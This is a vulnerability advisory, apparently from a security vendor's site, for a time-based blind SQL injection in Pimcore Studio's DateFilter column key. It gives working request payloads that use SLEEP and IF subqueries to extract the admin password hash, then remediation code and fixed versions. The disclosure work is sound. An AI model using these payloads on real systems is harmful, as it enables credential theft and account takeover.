Summary
Pimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes
An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.
Vulnerability Details
Exploitable: DateFilter with Fixed Named Parameters
src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:
$key = $column->getKey(); // user-controlled, no validation
$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';
$listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);
Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.
Same Pattern in Note FilterService
src/Note/Service/FilterService.php lines 64-67:
$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';
$list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);
No Validation on Column Key
src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.
Why Backtick Wrapping is Not Escaping
Manual backtick wrapping ('`' . $key . '`') does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:
Input: key = "id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "
Produces:
(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime)
Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.
Contrast with Safe Patterns in the Same Codebase
LogRepository.phpline 202: uses$this->dbResolver->get()->quoteIdentifier()(safe)ClassificationStore/Configuration/KeyRepository.php: usesALLOWED_SORT_KEYSallowlist (safe)
Note on EqualsFilter/LikeFilter
The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9_], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.
Steps to Reproduce
Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.
Step 1: Baseline request (no injection)
POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>
{"page":1,"pageSize":10}
Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds
Step 2: Unconditional SLEEP(3) injection
POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds
The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:
SELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime) ORDER BY `id` ASC LIMIT 50
Step 3: Conditional SLEEP proving data extraction (TRUE case)
This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.
POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)
Step 4: Conditional SLEEP (FALSE case, wrong guess)
Same query but testing for XXXX (hex 0x58585858) instead:
POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)
Timing comparison
| Request | Payload | Response Time | Meaning |
|---|---|---|---|
| Baseline | No injection | 0.07s | Normal |
| Unconditional SLEEP | AND SLEEP(3) |
6.07s | Injection confirmed |
| Conditional TRUE | IF(password starts with $2y$, SLEEP(3), 0) |
6.07s | Data extracted: hash is bcrypt |
| Conditional FALSE | IF(password starts with XXXX, SLEEP(3), 0) |
0.07s | Control: no match, no delay |
By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.
Affected Endpoints
All endpoints using ListingFilter::applyFilters() with a DateFilter on column filter:
POST /pimcore-studio/api/website-settingsPOST /pimcore-studio/api/notificationsPOST /pimcore-studio/api/recycle-binPOST /pimcore-studio/api/redirectsPOST /pimcore-studio/api/translations/{domain}POST /pimcore-studio/api/quantity-value/unitsPOST /pimcore-studio/api/propertiesPOST /pimcore-studio/api/classification-store/{storeId}/keysPOST /pimcore-studio/api/classification-store/{storeId}/groupsPOST /pimcore-studio/api/classification-store/{storeId}/collectionsGET /pimcore-studio/api/notes/{elementType}/{id}(via Note FilterService fieldFilters)
Supporting Materials
- Live-tested on Pimcore 12.x (2026.x branch, commit
82f9ff6), Docker, PHP 8.4, MariaDB 10.11 - MySQL general query log confirms injected SQL reaches the database
- The safe pattern (
quoteIdentifier()) exists in the same codebase inLogRepository.phpline 202 - Package:
pimcore/studio-backend-bundle
Impact
An authenticated user with website_settings permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.
Directly extractable high-value data:
- Admin password hashes (
users.password) for offline cracking - Password recovery tokens (
users.passwordRecoveryToken) for direct account takeover viaPOST /login/token - Session data for session hijacking
- All PIM product data, CMS content, and asset metadata
Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.
CVE-2026-55208 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2025.4.6, 2026.1.6); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Replace manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names:
// Option 1: quoteIdentifier (doubles internal backticks)
$db = \Pimcore\Db::get();
$dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';
// Option 2: allowlist (preferred)
private const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];
if (!in_array($key, self::ALLOWED_COLUMNS, true)) {
throw new InvalidArgumentException('Invalid filter column');
}
Apply the same fix to EqualsFilter, LikeFilter, and Note/FilterService as defense-in-depth, even though those are currently protected by PDO named parameter validation.
Frequently Asked Questions
- What is CVE-2026-55208? CVE-2026-55208 is a high-severity SQL injection vulnerability in pimcore/studio-backend-bundle (composer), affecting versions < 2025.4.6. It is fixed in 2025.4.6, 2026.1.6. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
- How severe is CVE-2026-55208? CVE-2026-55208 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of pimcore/studio-backend-bundle are affected by CVE-2026-55208? pimcore/studio-backend-bundle (composer) versions < 2025.4.6 is affected.
- Is there a fix for CVE-2026-55208? Yes. CVE-2026-55208 is fixed in 2025.4.6, 2026.1.6. Upgrade to this version or later.
- Is CVE-2026-55208 exploitable, and should I be worried? Whether CVE-2026-55208 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55208 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55208?
- Upgrade
pimcore/studio-backend-bundleto 2025.4.6 or later - Upgrade
pimcore/studio-backend-bundleto 2026.1.6 or later
- Upgrade